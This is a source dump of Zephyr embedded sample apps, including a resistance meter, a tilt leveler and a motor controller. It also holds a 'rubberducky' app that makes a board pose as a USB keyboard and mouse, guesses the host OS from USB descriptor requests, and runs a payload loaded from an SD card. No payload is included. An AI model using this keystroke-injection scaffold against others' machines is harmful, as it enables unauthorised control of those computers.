LOG_MODULE_REGISTER(hid, CONFIG_LOG_DEFAULT_LEVEL); 9 | 10 | #pragma GCC diagnostic push 11 | #pragma GCC diagnostic ignored "-Wnarrowing" 12 | static const uint8_t keyboard_report_desc[] = HID_KEYBOARD_REPORT_DESC(); 13 | static const uint8_t mouse_report_desc[] = HID_MOUSE_REPORT_DESC(3); 14 | #pragma GCC diagnostic pop 15 | 16 | static struct { 17 | const struct device *keyboard_dev, *mouse_dev; 18 | struct k_sem keyboard_lock, mouse_lock; 19 | struct k_sem usb_conn; 20 | uint8_t cnt_wl, cnt_02, cnt_04, cnt_ff; 21 | hid_os os; 22 | } data; 23 | 24 | extern "C" int usb_handle_bos(struct usb_setup_packet *setup, int32_t*, uint8_t**) { 25 | if (usb_reqtype_is_to_host(setup) && USB_GET_DESCRIPTOR_TYPE(setup->wValue) == USB_DESC_STRING) { 26 | data.cnt_wl++; 27 | switch (setup->wLength) { 28 | case 0x02: data.cnt_02++; break; 29 | case 0x04: data.cnt_04++; break; 30 | case 0xff: data.cnt_ff++; break; 31 | }; 32 | } 33 | return -ENOTSUP; 34 | } 35 | 36 | static void hid_usb_cb(enum usb_dc_status_code cb_status, const uint8_t *param) { 37 | if (cb_status == USB_DC_CONFIGURED) { 38 | k_sem_give(&data.usb_conn); 39 | } 40 | } 41 | 42 | static void hid_keyboard_cb(const struct device *dev) { 43 | k_sem_give(&data.keyboard_lock); 44 | } 45 | 46 | static void hid_mouse_cb(const struct device *dev) { 47 | k_sem_give(&data.mouse_lock); 48 | } 49 | 50 | void hid_init(void) { 51 | data.os = hid_os::UNKNOWN; 52 | k_sem_init(&data.usb_conn, 0, 1); 53 | k_sem_init(&data.keyboard_lock, 1, 1); 54 | k_sem_init(&data.mouse_lock, 1, 1); 55 | 56 | data.keyboard_dev = device_get_binding("HID_0"); 57 | data.mouse_dev = device_get_binding("HID_1"); 58 | if (data.keyboard_dev == NULL || data.mouse_dev == NULL) { 59 | LOG_ERR("failed get hid device"); 60 | error_fatal(error_reason::HID); 61 | } 62 | 63 | static const struct hid_ops keyboard_ops = { .int_in_ready = hid_keyboard_cb, }; 64 | static const struct hid_ops mouse_ops = { .int_in_ready = hid_mouse_cb, }; 65 | usb_hid_register_device(data.keyboard_dev, keyboard_report_desc, sizeof(keyboard_report_desc), &keyboard_ops); 66 | usb_hid_register_device(data.mouse_dev, mouse_report_desc, sizeof(mouse_report_desc), &mouse_ops); 67 | 68 | if (usb_hid_init(data.keyboard_dev) != 0 || usb_hid_init(data.mouse_dev) != 0) { 69 | LOG_ERR("failed init hid"); 70 | error_fatal(error_reason::HID); 71 | } 72 | if (usb_enable(hid_usb_cb) != 0) { 73 | LOG_ERR("failed enable usb"); 74 | error_fatal(error_reason::HID); 75 | } 76 | k_sem_take(&data.usb_conn, K_FOREVER); 77 | k_msleep(500); // reports ignored if too soon 78 | 79 | // algorithm inspired by https://github.com/qmk/qmk_firmware/blob/master/quantum/os_detection.c 80 | // due to OS updates, this may not work forever 81 | if (data.cnt_wl == data.cnt_ff) { 82 | data.os = hid_os::LINUX; 83 | } else if (data.cnt_ff >= 2 && data.cnt_04 >= 1) { 84 | data.os = hid_os::WINDOWS; 85 | } else if (data.cnt_04 == 0 && data.cnt_02 >= 1) { 86 | data.os = hid_os::MACOS; 87 | } else { 88 | LOG_WRN("unknown os: %d %d %d %d", data.cnt_02, data.cnt_04, data.cnt_ff, data.cnt_wl); 89 | data.os = hid_os::UNKNOWN; 90 | } 91 | 92 | LOG_INF("usb connected %d", data.os); 93 | } 94 | 95 | hid_os hid_get_os(void) { 96 | return data.os; 97 | } 98 | 99 | void hid_keyboard_raw(const hid_keyboard_report &report) { 100 | k_sem_take(&data.keyboard_lock, K_FOREVER); 101 | if (hid_int_ep_write(data.keyboard_dev, reinterpret_cast(&report), sizeof(hid_keyboard_report), NULL) != 0) { 102 | LOG_ERR("failed keyboard write"); 103 | error_fatal(error_reason::HID); 104 | } 105 | } 106 | 107 | void hid_mouse_raw(const hid_mouse_report &report) { 108 | k_sem_take(&data.mouse_lock, K_FOREVER); 109 | if (hid_int_ep_write(data.mouse_dev, reinterpret_cast(&report), sizeof(hid_mouse_report), NULL) != 0) { 110 | LOG_ERR("failed mouse write"); 111 | error_fatal(error_reason::HID); 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "error.h" 5 | #include "hid.h" 6 | #include "payload.h" 7 | #include "rgb.h" 8 | 9 | LOG_MODULE_REGISTER(main, CONFIG_LOG_DEFAULT_LEVEL); 10 | 11 | int main(void) { 12 | rgb_init(); 13 | payload_init(); 14 | hid_init(); 15 | 16 | payload_run(); 17 | hid_keyboard_report k{}; 18 | hid_mouse_report m{}; 19 | hid_keyboard_raw(k); 20 | hid_mouse_raw(m); 21 | while (true) { 22 | rgb_write(rgb_color::GREEN); 23 | k_msleep(50); 24 | rgb_write(rgb_color::OFF); 25 | k_msleep(50); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/src/payload.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "error.h" 10 | #include "hid.h" 11 | #include "rgb.h" 12 | #include "payload.h" 13 | 14 | LOG_MODULE_REGISTER(payload, CONFIG_LOG_DEFAULT_LEVEL); 15 | 16 | #define DRIVE_NAME "SD" 17 | #define MOUNT_PT "/SD:" 18 | #define ROOT_DIR "/SD:/" 19 | 20 | struct llext_file_loader { 21 | struct fs_file_t payload; 22 | struct llext_loader loader; 23 | }; 24 | 25 | static struct { 26 | FATFS fat_fs; 27 | struct fs_mount_t mp; 28 | struct llext_file_loader loader; 29 | struct llext *payload; 30 | void (*run)(void); 31 | } data; 32 | 33 | static int llext_file_read(struct llext_loader *ldr, void *out, size_t len) { 34 | struct llext_file_loader *lf = CONTAINER_OF(ldr, struct llext_file_loader, loader); 35 | return fs_read(&lf->payload, out, len) == (ssize_t) len ? 0 : -1; 36 | } 37 | 38 | static int llext_file_seek(struct llext_loader *ldr, size_t pos) { 39 | struct llext_file_loader *lf = CONTAINER_OF(ldr, struct llext_file_loader, loader); 40 | return fs_seek(&lf->payload, pos, FS_SEEK_SET); 41 | } 42 | 43 | void payload_init(void) { 44 | // mount filesystem 45 | if (disk_access_init(DRIVE_NAME) != 0) { 46 | LOG_ERR("failed init drive"); 47 | error_fatal(error_reason::PAYLOAD); 48 | } 49 | 50 | data.mp.type = FS_FATFS; 51 | data.mp.fs_data = &data.fat_fs; 52 | data.mp.mnt_point = MOUNT_PT; 53 | if (fs_mount(&data.mp) != 0) { 54 | LOG_ERR("failed fatfs mount"); 55 | error_fatal(error_reason::PAYLOAD); 56 | } 57 | 58 | // get payload name 59 | struct fs_file_t cfg; 60 | fs_file_t_init(&cfg); 61 | if (fs_open(&cfg, ROOT_DIR "config.txt", FS_O_READ) != 0) { 62 | LOG_ERR("failed open config.txt"); 63 | error_fatal(error_reason::PAYLOAD); 64 | } 65 | 66 | char payload_name[strlen(ROOT_DIR) + 128] = ROOT_DIR; 67 | ssize_t end = fs_read(&cfg, &payload_name[strlen(ROOT_DIR)], 128); 68 | if (end < 0) { 69 | LOG_ERR("failed read config.txt"); 70 | error_fatal(error_reason::PAYLOAD); 71 | } 72 | if (end == 128) { 73 | LOG_ERR("payload filename too long"); 74 | error_fatal(error_reason::PAYLOAD); 75 | } 76 | payload_name[strlen(ROOT_DIR) + end] = '\0'; 77 | LOG_INF("using \"%s\"", &payload_name[strlen(ROOT_DIR)]); 78 | 79 | if (fs_close(&cfg) != 0) { 80 | LOG_ERR("failed close config.txt"); 81 | error_fatal(error_reason::PAYLOAD); 82 | } 83 | 84 | // load payload 85 | fs_file_t_init(&data.loader.payload); 86 | if (fs_open(&data.loader.payload, payload_name, FS_O_READ) != 0) { 87 | LOG_ERR("failed open payload"); 88 | error_fatal(error_reason::PAYLOAD); 89 | } 90 | 91 | data.loader.loader.read = llext_file_read; 92 | data.loader.loader.seek = llext_file_seek; 93 | data.loader.loader.peek = NULL; 94 | struct llext_load_param loader_param = LLEXT_LOAD_PARAM_DEFAULT; 95 | if (llext_load(&data.loader.loader, "payload", &data.payload, &loader_param) == 0) { 96 | data.run = reinterpret_cast(llext_find_sym(&data.payload->exp_tab, "run")); 97 | } else { 98 | LOG_ERR("failed load payload"); 99 | } 100 | 101 | if (fs_close(&data.loader.payload) != 0) { 102 | LOG_ERR("failed close payload"); 103 | error_fatal(error_reason::PAYLOAD); 104 | } 105 | 106 | // unmount filesystem 107 | if (fs_unmount(&data.mp) != 0) { 108 | LOG_ERR("failed fatfs unmount"); 109 | error_fatal(error_reason::PAYLOAD); 110 | } 111 | } 112 | 113 | void payload_run(void) { 114 | if (data.run) { 115 | LOG_INF("start"); 116 | data.run(); 117 | LOG_INF("done"); 118 | } else { 119 | LOG_ERR("no payload run()"); 120 | error_fatal(error_reason::PAYLOAD); 121 | } 122 | } 123 | 124 | EXPORT_SYMBOL(hid_get_os); 125 | EXPORT_SYMBOL(hid_keyboard_raw); 126 | EXPORT_SYMBOL(hid_mouse_raw); 127 | EXPORT_SYMBOL(rgb_write); 128 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/src/rgb.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "rgb.h" 4 | 5 | static const struct gpio_dt_spec leds[3] = { 6 | GPIO_DT_SPEC_GET(DT_ALIAS(led0), gpios), 7 | GPIO_DT_SPEC_GET(DT_ALIAS(led1), gpios), 8 | GPIO_DT_SPEC_GET(DT_ALIAS(led2), gpios), 9 | }; 10 | 11 | static void rgb_write_raw(uint8_t r, uint8_t g, uint8_t b) { 12 | // TODO PWM support 13 | gpio_pin_set_dt(&leds[0], r); 14 | gpio_pin_set_dt(&leds[1], g); 15 | gpio_pin_set_dt(&leds[2], b); 16 | } 17 | 18 | void rgb_init(void) { 19 | gpio_pin_configure_dt(&leds[0], GPIO_OUTPUT_INACTIVE); 20 | gpio_pin_configure_dt(&leds[1], GPIO_OUTPUT_INACTIVE); 21 | gpio_pin_configure_dt(&leds[2], GPIO_OUTPUT_INACTIVE); 22 | } 23 | 24 | void rgb_write(rgb_color c) { 25 | switch (c) { 26 | default: 27 | case rgb_color::OFF: rgb_write_raw(0, 0, 0); break; 28 | case rgb_color::RED: rgb_write_raw(255, 0, 0); break; 29 | case rgb_color::GREEN: rgb_write_raw(0, 255, 0); break; 30 | case rgb_color::BLUE: rgb_write_raw(0, 0, 255); break; 31 | case rgb_color::CYAN: rgb_write_raw(0, 255, 255); break; 32 | case rgb_color::MAGENTA: rgb_write_raw(255, 0, 255); break; 33 | case rgb_color::YELLOW: rgb_write_raw(255, 255, 0); break; 34 | case rgb_color::WHITE: rgb_write_raw(255, 255, 255); break; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /samples/boards/6wire/6wire.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | chosen { 3 | zephyr,console = &cdc_acm_uart0; 4 | }; 5 | }; 6 | 7 | &zephyr_udc0 { 8 | cdc_acm_uart0: cdc_acm_uart0 { 9 | compatible = "zephyr,cdc-acm-uart"; 10 | }; 11 | }; 12 | -------------------------------------------------------------------------------- /samples/boards/6wire/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | set(DTC_OVERLAY_FILE 6wire.overlay) 4 | set(BOARD 6wire) 5 | 6 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 7 | project(6wire) 8 | 9 | target_sources(app PRIVATE 10 | src/main.c 11 | src/fourwire.c 12 | ) 13 | -------------------------------------------------------------------------------- /samples/boards/6wire/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_PICOLIBC=y 2 | CONFIG_CBPRINTF_FP_SUPPORT=y 3 | CONFIG_PWM=y 4 | CONFIG_I2C=y 5 | 6 | # really pushing limits here 7 | CONFIG_HEAP_MEM_POOL_IGNORE_MIN=y 8 | CONFIG_HEAP_MEM_POOL_SIZE=512 9 | CONFIG_MAIN_STACK_SIZE=1024 10 | CONFIG_IDLE_STACK_SIZE=128 11 | CONFIG_ISR_STACK_SIZE=512 12 | CONFIG_SYSTEM_WORKQUEUE_STACK_SIZE=256 13 | CONFIG_USB_WORKQUEUE_STACK_SIZE=512 14 | CONFIG_USB_CDC_ACM_RINGBUF_SIZE=512 15 | CONFIG_USB_DEVICE_STACK=y 16 | -------------------------------------------------------------------------------- /samples/boards/6wire/src/fourwire.h: -------------------------------------------------------------------------------- 1 | #ifndef FOURWIRE_H 2 | #define FOURWIRE_H 3 | 4 | #include 5 | #include 6 | 7 | typedef struct { 8 | const double *ref_vals; // ohms (MUST be in increasing order) 9 | const size_t num_ref_vals; 10 | 11 | const struct gpio_dt_spec *mux_pins; 12 | const size_t num_mux_pins; 13 | 14 | const struct device* adc_i2c; 15 | const struct gpio_dt_spec *adc_drdy; 16 | const uint8_t adc_addr; 17 | 18 | k_thread_stack_t *thread_stack; 19 | size_t thread_stack_size; 20 | 21 | // private vars 22 | int curr_ref; 23 | int curr_gain; // stored as log2(gain) 24 | double resistance; 25 | 26 | double *mvg_avg_vals; 27 | size_t num_mvg_avg; 28 | int mvg_avg_nxt; 29 | 30 | struct gpio_callback adc_cb; 31 | struct k_sem adc_pending; 32 | struct k_thread thread_data; 33 | } fourwire_config_t; 34 | 35 | // public functions 36 | void fourwire_init(fourwire_config_t *cfg); 37 | double fourwire_read(fourwire_config_t *cfg); 38 | 39 | // "private" helpers 40 | void fourwire_set_ref(fourwire_config_t *cfg, int idx); 41 | void fourwire_set_gain(fourwire_config_t *cfg, int gain); 42 | int32_t fourwire_read_adc(fourwire_config_t *cfg); 43 | void fourwire_trigger(const struct device *port, 44 | struct gpio_callback *cb, gpio_port_pins_t pins); 45 | void fourwire_process(void* p1, void* p2, void* p3); 46 | 47 | #endif // FOURWIRE_H 48 | -------------------------------------------------------------------------------- /samples/boards/6wire/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "fourwire.h" 8 | 9 | // devices 10 | const struct device *leds[] = { 11 | DEVICE_DT_GET(DT_PWMS_CTLR(DT_ALIAS(red_pwm_led))), 12 | DEVICE_DT_GET(DT_PWMS_CTLR(DT_ALIAS(green_pwm_led))), 13 | DEVICE_DT_GET(DT_PWMS_CTLR(DT_ALIAS(blue_pwm_led))), 14 | }; 15 | 16 | const struct gpio_dt_spec btn = GPIO_DT_SPEC_GET(DT_NODELABEL(user_btn), gpios); 17 | 18 | const struct gpio_dt_spec mux_pins[] = { 19 | GPIO_DT_SPEC_GET(DT_NODELABEL(mux_a0), gpios), 20 | GPIO_DT_SPEC_GET(DT_NODELABEL(mux_a1), gpios), 21 | }; 22 | 23 | const struct device *i2c = DEVICE_DT_GET(DT_NODELABEL(sercom4)); 24 | 25 | const struct gpio_dt_spec drdy = GPIO_DT_SPEC_GET(DT_NODELABEL(drdy), gpios); 26 | 27 | // fun RGB stuffs 28 | #define RED_NODE DT_ALIAS(red_pwm_led) 29 | #define GREEN_NODE DT_ALIAS(green_pwm_led) 30 | #define BLUE_NODE DT_ALIAS(blue_pwm_led) 31 | 32 | #define PWM_PERIOD PWM_MSEC(10) 33 | 34 | void set_rgb(double r, double g, double b) { 35 | // no invert setting :( 36 | pwm_set(leds[0], DT_PWMS_CHANNEL(RED_NODE), 37 | PWM_PERIOD, PWM_PERIOD - r * PWM_PERIOD, DT_PWMS_FLAGS(RED_NODE)); 38 | pwm_set(leds[1], DT_PWMS_CHANNEL(GREEN_NODE), 39 | PWM_PERIOD, PWM_PERIOD - g * PWM_PERIOD, DT_PWMS_FLAGS(GREEN_NODE)); 40 | pwm_set(leds[2], DT_PWMS_CHANNEL(BLUE_NODE), 41 | PWM_PERIOD, PWM_PERIOD - b * PWM_PERIOD, DT_PWMS_FLAGS(BLUE_NODE)); 42 | } 43 | 44 | // app 45 | K_THREAD_STACK_DEFINE(fourwire_stack_area, 512); 46 | 47 | int main() { 48 | #if CONFIG_USB_DEVICE_STACK 49 | usb_enable(NULL); 50 | #endif 51 | 52 | set_rgb(0.01, 0.01, 0.01); 53 | gpio_pin_configure_dt(&btn, GPIO_INPUT); 54 | 55 | const double REF_RES[] = { 56 | 10.0, 57 | 10000.0, 58 | 10000000.0, 59 | }; 60 | 61 | fourwire_config_t fourwire_cfg = { 62 | .ref_vals = REF_RES, 63 | .num_ref_vals = 3, 64 | .mux_pins = mux_pins, 65 | .num_mux_pins = 2, 66 | .adc_i2c = i2c, 67 | .adc_drdy = &drdy, 68 | .adc_addr = 0x40, 69 | 70 | .thread_stack = fourwire_stack_area, 71 | .thread_stack_size = K_THREAD_STACK_SIZEOF(fourwire_stack_area), 72 | }; 73 | fourwire_init(&fourwire_cfg); 74 | 75 | while (1) { 76 | double val = fourwire_read(&fourwire_cfg); 77 | 78 | if (val < 1.0) { 79 | printk("%f mΩ\r\n", val * 1000.0); 80 | } else if (val < 1000.0) { 81 | printk("%f Ω\r\n", val); 82 | } else if (val < 1000000.0) { 83 | printk("%f kΩ\r\n", val / 1000.0); 84 | } else if (isfinite(val)) { 85 | printk("%f MΩ\r\n", val / 1000000.0); 86 | } else { 87 | printk("%f Ω\r\n", val); 88 | } 89 | k_msleep(100); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /samples/boards/README.md: -------------------------------------------------------------------------------- 1 | # boards 2 | 3 | Store apps meant for a specific board here. 4 | -------------------------------------------------------------------------------- /samples/boards/leveler/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | set(DTC_OVERLAY_FILE leveler.overlay) 4 | set(BOARD leveler) 5 | 6 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 7 | project(leveler) 8 | 9 | target_sources(app PRIVATE src/main.c) 10 | -------------------------------------------------------------------------------- /samples/boards/leveler/leveler.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | chosen { 3 | zephyr,console = &cdc_acm_uart0; 4 | }; 5 | }; 6 | 7 | &zephyr_udc0 { 8 | cdc_acm_uart0: cdc_acm_uart0 { 9 | compatible = "zephyr,cdc-acm-uart"; 10 | }; 11 | }; 12 | -------------------------------------------------------------------------------- /samples/boards/leveler/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_PWM=y 2 | 3 | CONFIG_I2C=y 4 | CONFIG_SENSOR=y 5 | CONFIG_LSM6DSL=y 6 | CONFIG_LSM6DSL_TRIGGER_GLOBAL_THREAD=y 7 | CONFIG_CBPRINTF_FP_SUPPORT=y 8 | 9 | CONFIG_NEWLIB_LIBC=y 10 | 11 | CONFIG_USB_DEVICE_STACK=y 12 | -------------------------------------------------------------------------------- /samples/boards/leveler/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "vector.h" 9 | 10 | // devices 11 | const struct device *leds[] = { 12 | DEVICE_DT_GET(DT_PWMS_CTLR(DT_ALIAS(red_pwm_led))), 13 | DEVICE_DT_GET(DT_PWMS_CTLR(DT_ALIAS(green_pwm_led))), 14 | DEVICE_DT_GET(DT_PWMS_CTLR(DT_ALIAS(blue_pwm_led))), 15 | }; 16 | 17 | const struct gpio_dt_spec btn = GPIO_DT_SPEC_GET(DT_NODELABEL(user_button), gpios); 18 | struct gpio_callback btn_cb_data; 19 | 20 | const struct device *lsm6dsm = DEVICE_DT_GET_ANY(st_lsm6dsl); // compatible! 21 | 22 | // RGB 23 | #define RED_NODE DT_ALIAS(red_pwm_led) 24 | #define GREEN_NODE DT_ALIAS(green_pwm_led) 25 | #define BLUE_NODE DT_ALIAS(blue_pwm_led) 26 | 27 | #define PWM_PERIOD PWM_MSEC(10) 28 | 29 | void set_rgb(double r, double g, double b) { 30 | uint32_t rp = round(r * PWM_PERIOD); 31 | uint32_t gp = round(g * PWM_PERIOD); 32 | uint32_t bp = round(b * PWM_PERIOD); 33 | 34 | pwm_set(leds[0], DT_PWMS_CHANNEL(RED_NODE), 35 | PWM_PERIOD, rp, DT_PWMS_FLAGS(RED_NODE)); 36 | pwm_set(leds[1], DT_PWMS_CHANNEL(GREEN_NODE), 37 | PWM_PERIOD, gp, DT_PWMS_FLAGS(GREEN_NODE)); 38 | pwm_set(leds[2], DT_PWMS_CHANNEL(BLUE_NODE), 39 | PWM_PERIOD, bp, DT_PWMS_FLAGS(BLUE_NODE)); 40 | } 41 | 42 | // angles 43 | #define ANGLE_THRESHOLD 1 // degree 44 | 45 | struct accel_vec target = { // normalized 46 | .x = 0, 47 | .y = 0, 48 | .z = -1, 49 | }; 50 | 51 | bool update_target = false; 52 | 53 | void process_button(const struct device *port, 54 | struct gpio_callback *cb, gpio_port_pins_t pins) { 55 | update_target = true; 56 | } 57 | 58 | void process_reading(const struct device *dev, 59 | const struct sensor_trigger *trig) { 60 | // get reading 61 | struct sensor_value x_out, y_out, z_out; 62 | 63 | sensor_sample_fetch_chan(lsm6dsm, SENSOR_CHAN_ACCEL_XYZ); 64 | sensor_channel_get(lsm6dsm, SENSOR_CHAN_ACCEL_X, &x_out); 65 | sensor_channel_get(lsm6dsm, SENSOR_CHAN_ACCEL_Y, &y_out); 66 | sensor_channel_get(lsm6dsm, SENSOR_CHAN_ACCEL_Z, &z_out); 67 | 68 | struct accel_vec meas = { 69 | .x = sensor_value_to_double(&x_out), 70 | .y = sensor_value_to_double(&y_out), 71 | .z = sensor_value_to_double(&z_out), 72 | }; 73 | 74 | normalize(&meas); 75 | 76 | // update target if needed 77 | if (update_target) { 78 | target = meas; 79 | update_target = false; 80 | } 81 | 82 | // check angle 83 | double ang = angle(&meas, &target); 84 | 85 | if (ang < ANGLE_THRESHOLD) { 86 | set_rgb(0, 0.1, 0); 87 | } else { 88 | set_rgb(0.1, 0, 0); 89 | } 90 | 91 | printk("angle: %.3f°\r\n", ang); 92 | } 93 | 94 | int main() { 95 | // enable usb console 96 | usb_enable(NULL); 97 | 98 | // do a little flash 99 | set_rgb(1, 0, 0); 100 | k_msleep(50); 101 | set_rgb(0, 1, 0); 102 | k_msleep(50); 103 | set_rgb(0, 0, 1); 104 | k_msleep(50); 105 | set_rgb(0, 0, 0); 106 | 107 | // configure button 108 | gpio_pin_configure_dt(&btn, GPIO_INPUT); 109 | gpio_pin_interrupt_configure_dt(&btn, GPIO_INT_EDGE_TO_ACTIVE); 110 | gpio_init_callback(&btn_cb_data, process_button, BIT(btn.pin)); 111 | gpio_add_callback(btn.port, &btn_cb_data); 112 | 113 | // configure LSM6DSM 114 | struct sensor_value odr = {.val1 = 12, .val2 = 500000}; // 12.5Hz 115 | sensor_attr_set(lsm6dsm, 116 | SENSOR_CHAN_ACCEL_XYZ, SENSOR_ATTR_SAMPLING_FREQUENCY, &odr); 117 | 118 | struct sensor_trigger trig = { 119 | .type = SENSOR_TRIG_DATA_READY, 120 | .chan = SENSOR_CHAN_ACCEL_XYZ, 121 | }; 122 | sensor_trigger_set(lsm6dsm, &trig, process_reading); 123 | 124 | sensor_sample_fetch(lsm6dsm); // start fetching 125 | 126 | return 0; 127 | } 128 | -------------------------------------------------------------------------------- /samples/boards/leveler/src/vector.h: -------------------------------------------------------------------------------- 1 | #ifndef VECTOR_H 2 | #define VECTOR_H 3 | 4 | #include 5 | 6 | #define PI (3.1415926) 7 | #define RAD_TO_DEG (180.0 / PI) 8 | 9 | struct accel_vec { 10 | double x; 11 | double y; 12 | double z; 13 | }; 14 | 15 | static inline void normalize(struct accel_vec *v) { 16 | double len = sqrt(v->x*v->x + v->y*v->y + v->z*v->z); 17 | v->x /= len; v->y /= len; v->z /= len; 18 | } 19 | 20 | static inline double dot(struct accel_vec *v1, struct accel_vec *v2) { 21 | return v1->x*v2->x + v1->y*v2->y + v1->z*v2->z; 22 | } 23 | 24 | static inline double angle(struct accel_vec *v1, struct accel_vec *v2) { 25 | return acos(dot(v1, v2)) * RAD_TO_DEG; 26 | } 27 | 28 | #endif // VECTOR_H 29 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | set(BOARD stm32_esc) 4 | 5 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 6 | project(stm32_esc) 7 | 8 | target_sources(app PRIVATE 9 | src/main.c 10 | src/rgb.c 11 | src/sense.c 12 | src/motor.c 13 | ) 14 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/prj.conf: -------------------------------------------------------------------------------- 1 | # 10us resolution 2 | CONFIG_SYS_CLOCK_TICKS_PER_SEC=100000 3 | 4 | CONFIG_ADC=y 5 | CONFIG_PWM=y 6 | CONFIG_LIN=y 7 | 8 | CONFIG_LOG=y 9 | CONFIG_LOG_DEFAULT_LEVEL=3 10 | CONFIG_LIN_LOG_LEVEL_DBG=y 11 | CONFIG_LOG_MODE_IMMEDIATE=n 12 | CONFIG_LOG_PROCESS_TRIGGER_THRESHOLD=0 13 | CONFIG_LOG_PROCESS_THREAD_SLEEP_MS=100 14 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "rgb.h" 4 | #include "sense.h" 5 | #include "motor.h" 6 | 7 | const struct device *lin = DEVICE_DT_GET_ANY(zephyrboards_lin_uart); 8 | 9 | static int header_cb(const struct device *dev, struct lin_frame *msg, void *data) { 10 | switch (msg->id) { 11 | case 0x00: 12 | msg->type = LIN_CHECKSUM_ENHANCED; 13 | msg->len = 2; 14 | return LIN_ACTION_RECEIVE; 15 | break; 16 | 17 | case 0x01: 18 | uint32_t t = motor_cycle_time_us(); 19 | msg->type = LIN_CHECKSUM_ENHANCED; 20 | msg->len = 4; 21 | msg->data[0] = (t >> 24) & 0xFF; // big-endian 22 | msg->data[1] = (t >> 16) & 0xFF; 23 | msg->data[2] = (t >> 8) & 0xFF; 24 | msg->data[3] = (t >> 0) & 0xFF; 25 | return LIN_ACTION_SEND; 26 | break; 27 | } 28 | return LIN_ACTION_NONE; 29 | } 30 | 31 | static void rx_cb(const struct device *dev, int error, const struct lin_frame *msg, void *data) { 32 | if (!error) { 33 | switch (msg->id) { 34 | case 0x00: 35 | motor_write(msg->data[0] / 255.0, msg->data[1] & 0x01); 36 | break; 37 | } 38 | } 39 | } 40 | 41 | int main() { 42 | rgb_init(); 43 | sense_init(); 44 | motor_init(); 45 | 46 | lin_set_mode(lin, LIN_MODE_RESPONDER); 47 | lin_set_bitrate(lin, 19200); 48 | lin_set_header_callback(lin, header_cb, NULL); 49 | lin_set_rx_callback(lin, rx_cb, NULL); 50 | 51 | motor_write(0.1, true); // default 52 | rgb_color_E c = 0; 53 | while (1) { 54 | rgb_write(c); 55 | c = c == RGB_COLOR_COUNT - 1 ? 0 : c + 1; 56 | k_msleep(50); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/src/motor.h: -------------------------------------------------------------------------------- 1 | #ifndef MOTOR_H 2 | #define MOTOR_H 3 | 4 | #include 5 | 6 | void motor_init(); 7 | void motor_write(double duty, bool forward); 8 | uint32_t motor_cycle_time_us(); 9 | 10 | #endif // MOTOR_H 11 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/src/rgb.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "rgb.h" 4 | 5 | /* private constants */ 6 | typedef struct { 7 | bool r, g, b; 8 | } rgb_config_S; 9 | 10 | static const rgb_config_S RGB_CONFIGS[] = { 11 | [RGB_COLOR_OFF] = {.r = 0, .g = 0, .b = 0}, 12 | [RGB_COLOR_RED] = {.r = 1, .g = 0, .b = 0}, 13 | [RGB_COLOR_GREEN] = {.r = 0, .g = 1, .b = 0}, 14 | [RGB_COLOR_BLUE] = {.r = 0, .g = 0, .b = 1}, 15 | [RGB_COLOR_CYAN] = {.r = 0, .g = 1, .b = 1}, 16 | [RGB_COLOR_MAGENTA] = {.r = 1, .g = 0, .b = 1}, 17 | [RGB_COLOR_YELLOW] = {.r = 1, .g = 1, .b = 0}, 18 | [RGB_COLOR_WHITE] = {.r = 1, .g = 1, .b = 1}, 19 | }; 20 | 21 | static const struct gpio_dt_spec RGB_LEDS[] = { 22 | GPIO_DT_SPEC_GET(DT_NODELABEL(led_red), gpios), 23 | GPIO_DT_SPEC_GET(DT_NODELABEL(led_green), gpios), 24 | GPIO_DT_SPEC_GET(DT_NODELABEL(led_blue), gpios), 25 | }; 26 | 27 | /* public functions */ 28 | void rgb_init() { 29 | gpio_pin_configure_dt(&RGB_LEDS[0], GPIO_OUTPUT_INACTIVE); 30 | gpio_pin_configure_dt(&RGB_LEDS[1], GPIO_OUTPUT_INACTIVE); 31 | gpio_pin_configure_dt(&RGB_LEDS[2], GPIO_OUTPUT_INACTIVE); 32 | } 33 | 34 | void rgb_write(rgb_color_E color) { 35 | if (color >= RGB_COLOR_COUNT) { return; } 36 | gpio_pin_set_dt(&RGB_LEDS[0], RGB_CONFIGS[color].r); 37 | gpio_pin_set_dt(&RGB_LEDS[1], RGB_CONFIGS[color].g); 38 | gpio_pin_set_dt(&RGB_LEDS[2], RGB_CONFIGS[color].b); 39 | } 40 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/src/rgb.h: -------------------------------------------------------------------------------- 1 | #ifndef RGB_H 2 | #define RGB_H 3 | 4 | typedef enum { 5 | RGB_COLOR_OFF = 0, 6 | RGB_COLOR_RED, 7 | RGB_COLOR_GREEN, 8 | RGB_COLOR_BLUE, 